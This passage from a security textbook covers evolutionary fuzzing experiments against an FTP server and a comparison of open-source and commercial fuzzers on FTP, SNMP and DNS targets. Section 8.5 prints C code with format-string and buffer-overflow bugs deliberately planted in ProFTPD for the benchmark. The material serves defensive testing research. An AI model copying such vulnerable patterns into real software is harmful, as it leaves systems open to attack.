“c:\textserver.exe” med 7.4 Evolutionary Fuzzing 211 Figure 7.6. Pool mutation. Figure 7.7. The GUI portion of EFS. 2. We can choose to stalk functions (funcs) or basic blocks (BBs). 3. The time to wait for each target process load defaults to 6 seconds, but could be much less (1 second) in many cases. 4. Hits can be stored to the GPF or PaiMei subdatabases that are in the MySQL database. PaiMei should be used for tests or creating filter tags, while GPF should be used for all EFS runs. 5. After each session, or stalk, we can do nothing, detach from the process (and reattach for the next stalk), or terminate the process. The same options are available if the process crashes. 6. Use the PIDA Modules box for loading the .pida files. These are derived from executables or dynamically linked libraries (.DLLs) and are used to set the breakpoints that enable the process stalking to occur. One exe- cutable needs to be specified and as many .DLLs as desired. 7. There is a dialog box under Connections to connect to the MySQL data- base. Proper installation and setup of EFS-PaiMei (database, etc.) is included in a document in the EFS source tree. 8. The Data Sources box is the place to view target lists and to create filter tags. This is done to speed up EFS by weeding out hits that are common to every session. The process to create a filter tag is: 212 Advanced Fuzzing a. Define a filter tag. (We called ours “ApplictionName_startup_conn_ junk_disconn_shutdown”) b. Stalk with that tag and record to the PaiMei database. c. Start the target application. d. Using netcat, connect to the target application. e. Send a few random characters. f. Disconnect. g. Shutdown the target application. 9. There is another dialog box that defines the GPF connection to EFS-PaiMei called Fuzzer Connect. a. The default port is 31338. b. The general wait time describes how long each session has to complete before EFS will move on to the next session. This is needed to coordi- nate the hit dumping to MySQL after each session. The default is .8 seconds, but for lean applications, running around .2 should be fine. For larger applications, more time will be required for each session. Tuning this number is the key to the speed that EFS will run (for exam- ple: .4*100000=11hrs, .8*100000=22hrs, 1.6*100000=44hrs). 7.4 Evolutionary Fuzzing 213 Figure 7.8 The GPF Unix command line portion of EFS. c. The “dump directory” defines a place for EFS to dump crash informa- tion should a robustness issue be found. We typically create a directory of the structure “..\EFS_crash_data\application_name\number.” d. The number should coordinate to the GPF_ID for clarity and organization. For the GPF (command line) portion of EFS we have 32 options: 1. –E indicates GPF is in the evolving mode. GPF has other general purpose fuzzing modes that will not be detailed here. 2. IP of Mysql db. 3. Username of Mysql db. 4. Password for Mysql db. 5. GPF_ID. 6. Starting generation. If a number other than zero is specified, a run is picked up where it left off. This is helpful if EFS were to crash, hang, or quit. 7. IP of GUI EFS. 8. Port of GUI EFS. 9. Stalk type. Functions or basic blocks. 10. Play mode. Client indicates we connect to the target and server is the opposite. 11. IP of target. (Also IP of proxy in proxy mode.) 12. Port of target. (Also port of proxy in proxy mode.) 13. Source port to use. ‘?’ lets the OS choose. 14. Protocol. TCP or UDP. 15. Delay time in milliseconds between each leg of a session. 16. Number of .01 seconds slots to wait while attempting to read data. 17. Output verbosity. Low, med, or high. 18. Output mode. Hex, ASCII, or auto. 19. Number of pools. 20. Number of sessions/pool. 21. Is the number fixed or a max? Fixed indicates it must be that number, while max allows any number under that to be valid as well. 22. Legs/session. 23. Fixed or max. 24. Tokens/leg. 25. Fixed or max. 26. Total generations to run. 27. Generation at which to perform session mutation. 28. Generation at which to perform pool crossover. 29. Generation at which to perform pool mutation. 30. User definable function on outgoing sessions. None indicates there isn’t one. 31. Seed file name. 32. Proxy mode. Yes or no. A proxy can be developed to all EFS to run against none network protocols such as internal RPC API calls, etc. 33. (UPDATE: A 33rd was added to control diversity.) 214 Advanced Fuzzing 7.4.17 Benchmarking The work in this section has become intense enough to warrant a whole new paper. See Benchmarking Grey-box Robustness Testing Tools with an Analysis of the Evolutionary Fuzzing System (EFS).8 The topics in that paper include • Attack surface example; • Functions vs. basic blocks; • Learning a binary protocol; • Pools vs. niching. • EFS fitness function updates to achieve greater diversity. 7.4.18 Test Case—Golden FTP Server The first test target was the Golden FTP server (GFTP).9 It is a public domain ftp server GUI application for Windows that has been available since 2004. Analysis shows approximately 5,100 functions in GFTP, of which about 1,500 are con- cerned with the GUI/startup/shutdown/config file read/, leaving potentially 3,500 functions available. However, the typical attack surface of a program is consider- ably smaller, often around 10%. We show more evidence of this in the benchmark- ing research. Three sets of experiments were run. Each experiment was run three times on two separate machines (six total runs/experiment). The reason for two machines was twofold: time savings, as each complete run can take about 6hrs/100genera- tions and to be sure configurations issues were not present on any one machine. Experiment 1 is one pool of 100 sessions. Experiment 2 had four pools each with 25 sessions. Experiment 3 had 10 pools each with 10 sessions. All other parameters remain the same: The target was Golden Ftp Server v1.92, there were 10 legs/ses- sion, 10 tokens/leg, 100 total generations, a session mutation every 7 generations, for multiple pool runs—pool crossover every 5 generations, and pool mutation every 9 generations. For these experiments we used function hits as the code cover- age metric. The session, leg, and token sizes are fixed values. 7.4.19 Results Figure 7.9 shows the average fitness for both pool and session runs, averaged over all the runs for each group. Figure 7.10 shows the best fitness for both pool and ses- sion, selected from the “best” run (that is, the best session of all the runs in the group, and the best pool of all the runs in the group). The first thing that Figure 7.9 shows us is that pools are more effective at covering code than any single session. Even the worst pool (1-pool) covers more code than the best session. Roughly speaking, the best pool covers around twice as much as the best session. The second observation that Figure 7.9 shows us is that multiple, interacting pools are more 7.4 Evolutionary Fuzzing 215 8J. DeMott, “Benchmarking Grey-Box Robustness Testing Tools with an Analysis of the Evolu- tionary Fuzzing System (EFS).” www.vdalabs.com 9www.goldenftpserver.com/ effective than a single large pool. Note that this is not just a conclusion about island-parallel evolutionary computation,10 since the interaction between pools is more frequent and of a very different nature than the occasional exchange of a small number of individuals as found in island parallelism. The pool interaction is more in line with a second-order evolutionary process, since we are evolving not only at the session level, but also at the pool level. While pool-1 starts out with bet- ter coverage, it converges to less and less coverage. Both 4-pool and 10-pool start out with less coverage, but have a positive fitness trajectory on average, and 4-pool nearly equals the original 1-pool performance by around generation 180 and appears to still be progressing. Figure 7.10 shows that, selecting for the best pool/session from all the runs, 4- pool does slightly outperform other approaches. That is, the best 4-pool run outper- formed any other best pool and greatly outperformed any best session. The information provided by Figures 7.11 through 7.13 shows the following: First, they show the total number of crashes that occurred across all runs for 1- pool, 4-pool, and 10-pool. The numbers around the outside of the pie chart are the actual number of crashes that occurred for that piece, while the size of each pie chart piece indicates that crash’s relative frequency with respect to all crashes encountered. Furthermore, the colors of each piece reflect the addresses in just called GFTP elsewhere where the crashes occurred. Remember that the only meas- ure of fitness that EFS uses is the amount of code covered, not the crashes. How- ever, these crash numbers provide a kind of history of the breadth of search each experiment has developed. For example, all three experiments crashed predomi- 216 Advanced Fuzzing Figure 7.9 Average fitness of pool and session over six runs. 10E. Cantu-Paz. (2000). Efficient and Accurate Parallel Genetic Algorithms. Norwell, MA: Kluwer Academic Publishers. nantly at address 0x7C80CF60. However, 10-pool found a number of addresses that neither of the others did—for example, the other 0x7C addresses. While the ultimate goal is to discover the address of the bug, the crash address provides a place to start the search. GFTP is an interesting (and obviously buggy) application. It creates a new thread for each connection, and even if that thread crashes, it can keep processing 7.4 Evolutionary Fuzzing 217 Figure 7.11 One-pool crash total (all runs). Figure 7.10 Best of pool and session over six runs. Figure 7.13 Ten-pool crash total (all runs). the current session in a new thread. This allows for multiple crashes/session, some- thing that was not originally considered. This accounts for the thousands of crashes observed. Also, keep in mind these tests are done in a lab environment, not on pro- duction systems. Nothing was affected by our crashes or could have caused them. These tests were done in January 2007, and no ongoing effort against GFTP is in 218 Advanced Fuzzing Figure 7.12 Four-pool crash total (all runs). place to observe whether these bugs have been patched. Also, no time was spent attempting to develop exploits from the recorded crash data. It is the authors’ opin- ion that such exploits could be developed, but we would rather focus on continued development and testing of EFS. 7.4.20 Conclusions and Future Work The Evolving Fuzzing System was able to learn a protocol and find bugs in real soft- ware using a gray-box evolutionary robustness testing technique. Continuing research might include: • What is the probability of finding various bug types, as this is the final goal of this research? • How does its performance compare with existing fuzzing technologies? • What bugs can be found and in what software? • Could this type of learning be important to other fields? • Is it possible to cover the entire attack surface with this approach? How would one know, since we don’t have the source code? • Pools don’t seem to have completely covered the target interface, is there a niching or speciation approach we can design? • Testing of clear text protocols was done, but is it also possible to learn more complex binary protocols? 7.5 Summary This chapter discussed advanced fuzzing techniques used to find bugs in modern software. Generation fuzzers with high code coverage (CC) perform the best, but the issue focused on in this chapter is developing methods to automatically gener- ate data, so this doesn’t have to be done manually. The focus was on technologies that automatically increase CC by either solving branch constraints or by evolving groups of inputs. 7.5 Summary 219 C H A P T E R 8 Fuzzer Comparison In this book, we’ve discussed a number of different ways to fuzz systems as well as numerous implementations of these ideas. We’ve talked about ways to place fuzzing technologies into your SDLC and how to measure their success. This chapter is focused on comparing and contrasting some different fuzzers that are currently available. In particular, it measures the relative effectiveness of some different fuzzers. This chapter is intended to help you decide which type of fuzzing and which fuzzers will be best for your situation given your individual time and money constraints. 8.1 Fuzzing Life Cycle Some fuzzers are simple input generators. Some consist of an entire framework designed to help with the many stages of fuzzing. Let’s take a closer look at all the necessary steps required to conduct fuzzing in order to get a better understanding of the fuzzers we are going to compare. 8.1.1 Identifying Interfaces Given a target system, we need to identify all the interfaces that accept outside input. An example of such an interface may be a network socket consisting of a protocol (TCP or UDP) along with a port number. Another option may be a spe- cially formatted file that is read by the system. In order to increase the testing cov- erage, all these interfaces need to be identified before you begin fuzzing. Sometimes these interfaces will not be obvious. For example, most web browsers not only parse HTTP, but also FTP, RTSP, as well as various image formats. The steps in a fuzzing life cycle. 221 8.1.2 Input Generation The heart and soul of a fuzzer is its ability to create fuzzed inputs. As we’ve dis- cussed, there are a large variety of different ways in which to create these test cases. We’ll step through some of the different ways to generate fuzzed inputs, starting from those that have little or no knowledge of the underlying protocol or structure of the input and advancing to those that possess a near complete understanding of the structure of the inputs. The most basic way to create anomalous input is to simply supply purely ran- dom data to the interface. While, in theory, given enough time, completely random data would result in all possible inputs to a program. In practice, time constraints limit the effectiveness of this approach. The result is, that due to its simplicity, this approach is unlikely to yield any significant results. Another way to generate inputs is to use a mutation-based approach. This method consists of first gathering valid inputs to the system and then adding anom- alies to these inputs. These valid inputs may consist of a network packet capture or valid files or command line arguments, to name a few. There are a variety of ways to add the anomalies to these inputs. They may be added randomly, ignoring any structure available in the inputs. Alternatively, the fuzzer may have some “built-in” knowledge of the protocol and be able to add the anomalies in a more intelligent fashion. Some fuzzers present an interface, either through a programming API or a GUI, in which information about the format of the inputs can be taught to the fuzzer. More sophisticated fuzzers attempt to automatically analyze the structure of the inputs and identify common format occurrences and protocol structures, for example, ASN.1. Regardless of how it actually occurs, these types of fuzzers work on the same general principle: starting from valid inputs and adding a number of anomalies to the inputs to generate fuzzed inputs. Generation-based fuzzers do not require any valid test cases. Instead, this type of fuzzer already understands the underlying protocol or input format. They can generate inputs based purely on this knowledge. Obviously, the quality of the fuzzed inputs is going to depend on the level of knowledge the fuzzer has about the underlying input format. Open-source generation-based fuzzers, such as SPIKE and Sulley, offer a framework in which the researcher can read the documentation, write a format specification, and use the framework to generate fuzzed inputs based on the specification. Writing such a specification can be a major undertaking requiring specialized knowledge and sometimes hundreds of hours of work for complicated protocols. Since most people lack the specialized knowledge or time to write such protocol descriptions, commercial vendors exist who provide fuzzers that understand many common protocols. A drawback of these solutions is if you are interested in testing an obscure or proprietary format, the fuzzer may not be pre-programmed to understand it. 8.1.3 Sending Inputs to the Target After the fuzzed inputs have been generated, they need to be fed into the system’s interfaces. Some fuzzers leave this up to the user. Most supply some method of per- forming this job. For network protocols, this may consist of a way to repeatedly 222 Fuzzer Comparison make connections to a target server, or alternatively, listening on a port for incom- ing connections for client-side fuzzing. For file format fuzzing, this may entail repeatedly launching the target application with the next fuzzed file as an argument. 8.1.4 Target Monitoring Once the fuzzing has begun, the target application must be monitored for faults. After all, what good is creating and sending fuzzed inputs if you don’t know when they’ve succeeded in causing a problem? Again, some fuzzers leave this up to user. Other fuzzers offer sophisticated methods of monitoring the target application and the system on which they are running. The most basic method is to simply run the target application under a debugger and monitor it for crashes or unhandled excep- tions. More sophisticated monitoring solutions may consist of the fuzzer being able to telnet or ssh into the target system and monitor the target application, logs files, system resources, and other parameters. Additionally, the fuzzer may launch arbi- trary user-written monitoring scripts. The more advanced the monitoring being per- formed, the more vulnerabilities will be discovered. More advanced monitoring should also speed up analysis, because it may be able to determine exactly which input (or set of inputs) caused a particular error condition. Another important func- tion that a target monitoring service can provide is the ability to automatically restart the target. This may be as simple as restarting an application or as complicated as power cycling a device or restoring a virtual machine from a snapshot. Such auto- mated monitoring of the target allows for long, unsupervised fuzzing runs. 8.1.5 Exception Analysis After the actual inputs have been sent to the target and the dust has cleared, it is time to figure out if any vulnerabilities have been discovered. Based on the amount of target monitoring that has taken place, this may require a lot of work on the part of the user, or it may be pretty much finished. Basically, for each crash or error con- dition discovered, the smallest sequence of inputs that can repeat this fault must be found. After this, it is necessary to partition all the errors to find how many are unique vulnerabilities. For example, one particular bug in an application, say a for- mat string vulnerability, may be reachable through many different externally facing functions. So, many test cases may cause a crash, but in actuality they all point to the same underlying vulnerability. Again, some fuzzers provide tools to help do some of this analysis for the user, but oftentimes this is where the analyst and devel- opers will spend significant amounts of time. 8.1.6 Reporting The final step in the process of fuzzing is to report the findings. For fuzzing con- ducted during application development, this may involve communicating with the development team. For fuzzing conducted as part of an outside audit by consult- ants, this may be a document produced for the client. Regardless of the intent, some fuzzers can reduce the burden by providing useful statistics, graphs, and even exam- ple code. Some fuzzers can produce small binaries that can be used to reproduce the errors for development teams. 8.2 Evaluating Fuzzers 223 8.2 Evaluating Fuzzers As the last section discussed, fuzzers can vary from simple input generators to com- plex frameworks that perform program monitoring, crash dump analysis, and reporting. Therefore, it is difficult to compare fuzzers as they offer such a wide range of features. We wanted to stay away from a fuzzer review or usability study. Instead, we will narrow our focus on which fuzzers can create the most effective fuzzed inputs for a variety of protocols. Even this less ambitious goal is still difficult. How exactly do you measure which fuzzer generates the most effective fuzzed inputs? 8.2.1 Retrospective Testing Perhaps the most straightforward approach to evaluating a fuzzer’s effectiveness is using a testing methodology borrowed from the anti-virus world called retro- spective testing. In this form of comparison, a particular time period of testing is selected, say six months. In this example, fuzzers from six months ago would be archived. Then, this six-month period would be analyzed closely for any vulner- abilities discovered in any implementation of a protocol under investigation. Finally, the old versions of the fuzzers would be used to test against these flawed implementations. A record would be kept as to whether these older fuzzers could “discover” these now-known vulnerabilities. The longer the retrospective time period used, the more vulnerabilities will have been discovered, and thus the more data would be available. The reason that old versions of the fuzzers need to be used is that fuzzers may have been updated to look for particular vulnerabilities that have emerged recently. It is common practice for fuzzers to be tested to see why they failed to find a particular vulnerability; once the deficiency is identified, they are updated to find similar types of flaws in the future. An example of this is with the Microsoft .ANI vulnerability discovered in April 2007. Michael Howard of Microsoft explains how their fuzzers missed this bug but were conse- quently improved to catch similar mistakes in the future: “The animated cursor code was fuzz-tested extensively per the SDL requirements, [But] it turns out none of the .ANI fuzz templates had a second ‘anih’ record. This is now addressed, and we are enhancing our fuzzing tools to make sure they add manipulations that duplicate arbitrary object elements better.”1 Retrospective testing is appealing because it measures whether fuzzers can find real bugs in real applications. However, there are many serious drawbacks to this type of testing. The most obvious is that the testing will be conducted on an old version of the product, in the example above, a version that is six months out of date. A product can have significant improvements in this time period that will be missed with this form of testing. Another major deficit is the small amount of data available. In a given six-month time period, there simply aren’t that many vulnera- bilities announced in major products. Well-written products such as Microsoft’s IIS or the open source qmail mail server have gone years without vulnerabilities in their 224 Fuzzer Comparison 1blogs.msdn.com/sdl/archive/2007/04/26/lessons-learned-from-the-animated-cursor-security- bug.aspx default configuration. Even in the best case, you can only hope one or two bugs will come out. It is hard to draw conclusions in a comparison using such a small data set. This problem can be mitigated somewhat by increasing the retrospective time period. However, as we mentioned, increasing this time period also increases the amount of time the product is behind the state of the art. For these reasons, we did not carry out this form of testing. 8.2.2 Simulated Vulnerability Discovery A method with some of the benefits of retrospective testing but with more data available is called simulated vulnerability discovery. In this form of testing, a par- ticular implementation is selected. An experienced vulnerability analyst then goes in and adds a variety of vulnerabilities to this implementation.2 A different analyst proceeds to fuzz these flawed implementations in an effort to evaluate how many of these bugs are “rediscovered.” It is important to have different analysts conduct these two portions of the testing to remove any potential conflict in the configura- tion and setup of the fuzzers. Simulated vulnerability discovery has the advantage of having as much data available as desired. Like retrospective testing, it also tests the fuzzer’s ability to actually find vulnerabilities, even if they are artificial in nature. The biggest criticism is, of course, exactly the artificialness of the bugs. These are not real bugs in a real application. They will depend heavily on the experiences, knowledge, and peculiar- ities of the particular analyst that added them. However, even if the bugs are arti- ficial, they are all still present in the target application and all the fuzzers have the same opportunity to find (or miss) them. We utilized this type of testing and the results are presented later in the chapter. 8.2.3 Code Coverage Another method of testing the effectiveness of a fuzzer is to measure the amount of code coverage it achieves within the target application. The application is instru- mented in such a way that the number of lines executed is recorded. After each fuzzer runs, this information is gathered, and the number of lines executed can be examined and compared. While the absolute numbers involved from this metric are fairly meaningless due to the lack of information regarding the attack surface, their relative size from each fuzzer should shed some insight into which fuzzers cover more code and thus have the opportunity to find more bugs. Code coverage data, as a way to compare fuzzers, is relatively straightforward to obtain and analyze. There are many weaknesses to using it as a metric to com- pare fuzzers, though. For one, unlike the other forms of testing discussed, this does not actually measure how good the fuzzer is at finding bugs. Instead, it is a proxy metric that is actually being used to measure how much of the target application was not tested. It is up for debate whether high levels of code coverage by a fuzzer indicate it was effective. Just because a line is executed doesn’t necessarily mean it 8.2 Evaluating Fuzzers 225 2Thanks to Jake Honoroff of Independent Security Evaluators for adding the vulnerabilities in this study. is tested. A prime example is standard non-security regression tests. These will get good code coverage, but they are not doing a good job of “fuzzing.” However, it is certainly the case that those lines of code not executed by the fuzzer have not been adequately tested. We use this form of comparison as well and consider later how it helps to validate our simulated vulnerability discovery testing. 8.2.4 Caveats Please keep in mind that these results may not necessarily reflect which fuzzer is right for a particular project. For example, sometimes funding will limit your choice to open-source fuzzers. Perhaps it is difficult to monitor the application or there is little follow-up time available. In this case, it may be better to use a fuzzer that is slightly less effective at generating test cases but has strong monitoring and post- analysis tools. Also, whether you are fuzzing a common protocol or an obscure or proprietary protocol will have an impact on your choice because some commercial fuzzers cannot handle these situations. Finally, this comparison only takes place over a few protocols and relies heavily on the types and placements of the vulnera- bilities added for the simulated vulnerability discovery. That said, we feel the results are valid and the consistent results we obtain from the two methods used for com- parison validate each other. 8.3 Introducing the Fuzzers For this testing, we selected a variety of open-source and commercial fuzzers. Some are similar in design to one another and others are quite different. Between them all, we hope you can find one that is similar to the fuzzer you are considering using or have implemented. 8.3.1 GPF The General Purpose Fuzzer (GPF) is an open-source fuzzer written by one of the authors of this book. It is a mutation-based network fuzzer that can fuzz server or client applications. It has many modes of operation, but primarily works from a packet capture. A valid packet capture needs to be obtained between the target appli- cation and its server or client. At this point, GPF will continuously add anomalies to the packets captured and replay them at the target application. GPF parses the pack- ets and attempts to add the anomalies in as intelligent a way as possible. It does this through the use of tokAids. tokAids are implemented by writing C parsing code and compiling it directly into GPF. Using built-in functions, they describe the protocol, including such features as length fields, the location of ASCII strings, and the location and types of other delimiters. There are many prebuilt tokAids for common protocols available in GPF. There are also generic ASCII and binary tokAids for protocols GPF does not understand and that users don’t wish to implement themselves. There is one additional mode of operation of GPF called SuperGPF. This mode only works against servers and only with ASCII-based protocols. It takes as an argument a file with many “anchors” from the protocol. For example, against 226 Fuzzer Comparison SMTP the file might contain terms like “HELO,” “MAIL FROM,” “RCPT TO,” etc. GPF then modifies the initial packet capture file and injects many of these protocol-specific terms into the initial packet exchange on disk. It then launches a number of standard GPF processes using these modified packet captures as its ini- tial input. GPF does not have any monitoring of analysis features. 8.3.2 Taof The Art of Fuzzing (Taof) is an open-source, mutation-based, network fuzzer writ- ten in Python. It, too, works from an initial packet capture. However, unlike GPF, instead of giving a file that contains a packet capture, Taof captures packets between the client and server by acting as a man-in-the-middle. These captured packets are then displayed to the user. Taof doesn’t have knowledge of any proto- cols. Instead, it presents the packets to the user in a GUI, and the user must dissect the packets and inform Taof of the packet structure, including length fields. The amount of work in doing this is comparable to writing a tokAid in GPF and can take several hours (or more). The types of anomalies that will be injected into the packets are also configurable. One drawback of Taof is that in its current imple- mentation, it cannot handle length fields within another length field. The result is that many binary protocols cannot be fuzzed, including any based on ASN.1. Taof does not have any monitoring or analysis features. 8.3.3 ProxyFuzz ProxyFuzz is exactly what it claims it is—a proxy server that fuzzes traffic. It is incredibly easy to set up and use. Simply proxy live traffic between a client and server through ProxyFuzz and it will inject random faults into the live traffic. Proxy- Fuzz does not understand any protocols and no protocol specific knowledge can be included with it (without making fundamental changes to its design). While it is easy to set up and use, its lack of protocol knowledge may hinder its effectiveness. ProxyFuzz does not have any monitoring or analysis features. Abstract Syntax Notation One (ASN.1) Abstract Syntax Notation One (ASN.1) is a formal language for abstractly describing messages to be exchanged among an extensive range of applications. There are many ways of using ASN.1 to encode arbitrary data, but the simplest is called Basic Encoding Rules (BER). Data normally comes with an identifier, a length field, the actual data, and sometimes an octet that denotes the end of the data. Of course, these ASN.1 values can be nested arbitrarily, which can make for a complicated parsing algorithm. Programs that implement ASN.1 parsers have a long history of security vulnerabilities. Microsoft’s ASN.1 libraries have had critical bugs more than once. The open-source standard OpenSSL has also had critical security vulnerabilities. In 2002, an ASN.1 vulnerability within the SNMP protocol affected over fifty companies including Microsoft, Nokia, and Cisco. There were very few Internet-connected systems that were not vulnerable. The irony is that ASN.1 is used in security protocols such as Kerberos and in security certificates. 8.3 Introducing the Fuzzers 227 8.3.4 Mu-4000 The Mu-4000 is an appliance-based fuzzer from MuSecurity. It is a generation-based fuzzer that understands approximately 55 different protocols. It is placed on the same network as the target system and configured and controlled via a web browser. Within the protocols that it understands, it is extremely easy to use and is highly configurable. Options such as which test cases are sent at which timing periods can be precisely controlled. Furthermore, the Mu-4000 can be used as a pure proxy to send test cases from other fuzzers in order to use its monitoring functions, but oth- erwise cannot learn or be taught new or proprietary protocols. In other words, unlike the open-source fuzzers discussed above, which still work on proprietary protocols, albeit less effectively, the Mu-4000 can only be used against protocols it understands. Another drawback is that, currently, the Mu-4000 can only be used to fuzz servers and cannot fuzz client-side applications. One of the strengths of the Mu platform is its sophisticated monitoring abilities. It can be configured to ssh into the target machine and monitor the target process, system and application logs, and system resources. It can restart the application when the need arises and report exactly what fault has occurred. Another feature is that, when an error does occur in the target, it will replay the inputs until it has narrowed down exactly which input (or inputs) caused the problem. 8.3.5 Codenomicon Codenomicon is a generation-based fuzzer from Codenomicon Ltd. Currently, it has support for over 130 protocols. As is the case with the Mu-4000, it has no abil- ity to fuzz any protocols for which it does not already have support. It can be used to fuzz servers, clients, and even applications that process files. It is executed and controlled through a graphical Java application. Codenomicon can be configured to send a valid input between fuzzed inputs and compare the response to those in the past. In this way it can detect some criti- cal faults. It can also run custom external monitoring scripts. However, it other- wise doesn’t have any built-in monitoring or analysis features. 8.3.6 beSTORM beSTORM from Beyond Security is another commercial fuzzer that can handle net- work or file fuzzing. It contains support for almost 50 protocols. However, unlike the other commercial offerings, it can be used for fuzzing of proprietary and unsup- ported protocols. This is done through a GUI interface similar, but more sophisti- cated than, that found in Taof. A network packet capture, or in the case of file fuzzing, a file, is loaded into beSTORM. This valid file can then be manually dis- sected. Alternatively, beSTORM has the ability to automatically analyze the valid file and determine significant occurrences such as length fields, ASCII text, and delimiters. Once the unknown protocol is understood by beSTORM, it then fuzzes it using a large library of heuristics. beSTORM also supports the ability to describe a protocol specification completely in XML. 228 Fuzzer Comparison The beSTORM fuzzer also possesses sophisticated monitoring capabilities. It can remotely talk to a monitoring tool that, at the very least, monitors the target for crashes or exceptions. Using this knowledge, this information can be passed back to the fuzzer to help determine exactly what input caused an error in the application. 8.3.7 Application-Specific Fuzzers When possible, we included protocol-specific fuzzers in the evaluation. This includes FTPfuzz, a GUI-based FTP fuzzer, and the PROTOS test suite. PROTOS was the original SNMP fuzzer developed at the University of Oulu many years ago. PROTOS was the tool used to discover the ASN.1 bugs mentioned in the sidebar. 8.3.8 What’s Missing This study excluded some well-known open-source fuzzers including SPIKE, Sulley, and Peach. This is because these are fuzzing frameworks and not really fuzzers. They allow a user to generate fuzzed inputs based on a specification file. If you attempted to test one of these fuzzers using the strategies outlined in the chapter, you’d really be testing that particular format specification, and not the actual framework. For this reason, and the fact it can take weeks to produce a through specification file, these fuzzers were excluded. It should be noted that Sulley does contain sophisti- cated monitoring and analysis tools and SPIKE now has layer 2 support. 8.4 The Targets Three protocols were chosen for testing: FTP, SNMP, and DNS. They are extremely common, for the most part they are relatively simple, and between them, they rep- resent both ASCII-based and binary protocols. Additionally, while FTP and SNMP servers were tested, a DNS client was examined. In each case, in an effort to avoid finding real bugs, a well-established and hopefully robust open source implementa- tion was selected. The FTP server selected was ProFTPD. This well-established server was config- ured mostly by its default settings. Some options were modified to ensure that the fuzzer could run very quickly against the server without the server denying connec- tions. Other changes included ensuring an anonymous login was available, includ- ing the ability to download and upload documents. For SNMP, we tested the Net-SNMP server. The server was configured to accept version 2 SNMP when presented with a suitable community string and ver- sion 3 SNMP when presented with a valid username (requiring no authentication). This user was given read and write access. It is important to note that these config- uration options may have significant effect on the outcome because some fuzzers may only be able to handle certain SNMP versions in addition to the way the code coverage will obviously be affected. Of course, in the interest of fairness, the vari- ous configurations were set before any fuzzer was examined. Finally, for a DNS client we chose the dig utility from the BIND open-source DNS library. 8.4 The Targets 229 8.5 The Bugs For each program implementation, 17 bugs were added to the applications. Of these vulnerabilities, approximately half were buffer overflows and a fourth were format string vulnerabilities. The remaining bugs were from other categories, such as command injection, double free, and wild pointer writes. Some of these bugs were made easy to find and others were hidden deeper within the application. All bugs were tested to ensure they were remotely accessible. None were detectable using the standard server or client (they weren’t THAT obvious). Each vulnerabil- ity was prefaced with code that would log when they had been detected. Note that this means credit is given to a fuzzer for finding a bug even if it is likely that the fuzzer would not have found this bug in real life. An example of this is if a fuzzer overflowed a buffer by one byte only, the logging function would indicate the vul- nerability had been “found” when in reality this would be very difficult to detect (without the monitoring described in Chapter 6, at least). On the positive side, hav- ing this logging code eliminates any dependency on the type of monitoring used (custom or that which comes with the fuzzer) and is completely accurate. Below are several of the bugs for illustration. 8.5.1 FTP Bug 0 MODRET xfer_type(cmd_rec *cmd) { ... if (strstr(get_full_cmd(cmd), "%")!=NULL){ BUGREPORT(0); } char tempbuf[32]; snprintf(tempbuf, 32, "%s not understood", get_full_cmd(cmd)); pr_response_add_err(R_500, tempbuf); Here, we see the logging code trying to detect the use of the format identifier ‘%’. This bug occurs because the function pr_response_add_err is a function that expects a format string for its second argument. In this case, the processing of the XFER command contains a straightforward format string vulnerability. 8.5.2 FTP Bugs 2, 16 MODRET xfer_stru(cmd_rec *cmd) { ... cmd->argv[1][0] = toupper(cmd->argv[1][0]); switch ((int) cmd->argv[1][0]) { ... case 'R': case 'P': { char tempbuf[64]; if(strlen(get_full_cmd(cmd)) > 34){ BUGREPORT(16); 230 Fuzzer Comparison } if(strstr(get_full_cmd(cmd), "%")!=NULL){ BUGREPORT(2); } sprintf(tempbuf, "'%s' unsupported structure type.", get_full_cmd(cmd)); pr_response_add_err(R_504, tempbuf); return ERROR(cmd); } Here, a buffer overflow and a format string issue exist in the processing of the STRU FTP command. However, it is only possible to find this if the first character of the string is ‘R’ or ‘P.’ These two bugs proved difficult for the fuzzers to find— more on this later in Section 8.7.1. These code snippets illustrate some example bugs that were added to the appli- cations. As will be seen in the next section, some of these bugs were easier to find than others for the fuzzers. After each comparison, some of the bugs that proved decisive will be examined closer. 8.6 Results After all this setup about the bugs and the fuzzers, it remains to be seen how the fuzzers did in this testing. Below we list which bugs each fuzzer found and how much code coverage they obtained. The following abbreviations will be used in the results: • Random. This is purely random data fed into the interface. For fuzzing servers, this data was obtained with the “-R” option of GPF. For fuzzing clients, a custom server that sent random data was used. This is mostly included for code coverage comparison. • GPF Partial. This is GPF used with only a partial packet capture. For FTP fuzzing, we used two initial inputs to GPF and Taof. The first was a packet capture consisting of most common FTP operations, including login, pass- word, directory changing, and uploading and downloading files. GPF Partial refers to this packet capture for the initial input. • GPF Full. This is GPF as described above except the packet capture used con- tained every FTP command that ProFTPD accepted, according to its help message. This is a more full and complete initial input. In both cases, GPF was used with the ASCII tokAid. • SuperGPF. This refers to SuperGPF using the full packet capture described above along with a text file containing all valid FTP commands. • Taof Partial. Taof with the partial packet capture described above. • Taof Full. Taof with the full packet capture described above. • ProxyFuzz Partial. ProxyFuzz with the partial packet capture available for modification • ProxyFuzz Full. ProxyFuzz with the full packet capture available. 8.6 Results 231 Figure 8.1 Percentage of bugs found and code coverage obtained by fuzzers on FTP server. Table 8.1 Results of Fuzzing the FTP Server Bug 0 1 3 4 5 9 11 12 13 14 15 16 GPF Random GPF Partial X X X GPF Full X X X X X Super GPF X X X X X X Taof Partial Taof Full X X X ProxyFuzz Partial ProxyFuzz Full X X X Mu-4000 X X X X X FTPfuzz X X X X Codenomicon X X X X X X • GPF Generic. GPF used with a generic binary tokAid. • GPF SNMP. GPF used with a custom written SNMP tokAid. Throughout all the testing, generation-based fuzzers were allowed to run through all their test cases. Mutation-based fuzzers were allowed to run for 25,000 test cases or seven hours, whichever came first. While this time period is somewhat arbitrary, it was consistent with the amount of time required by most generation- based fuzzers. 8.6.1 FTP Table 8.1 summarizes the bugs found while fuzzing the FTP server. Figure 8.1 shows the percentage of bugs found as well as the total percentage of code coverage obtained by each of the fuzzers. For this particular application, the code coverage represents the percentage of source code lines executed after authen- 232 Fuzzer Comparison tication. This explains why the random fuzzer received 0% code coverage, since it never successfully authenticated. For the other applications, the code coverage sta- tistics include the authentication code. Detailed analysis of these numbers will follow the presentation of the results for the three applications. 8.6.2 SNMP Table 8.2 displays the results of the fuzzing against the SNMP server. Note that SuperGPF could not be used since it only works on ASCII protocols. These results, as well as the amount of code coverage obtained, are summarized in the Figure 8.2: 8.6.3 DNS Table 8.3 again lists which bugs were found by which fuzzers. Note that the Mu-4000 fuzzer does not fuzz client-side applications and so is excluded from this testing. Figure 8.3 summarizes the results and lists the code cov- erage obtained by each fuzzer. 8.6 Results 233 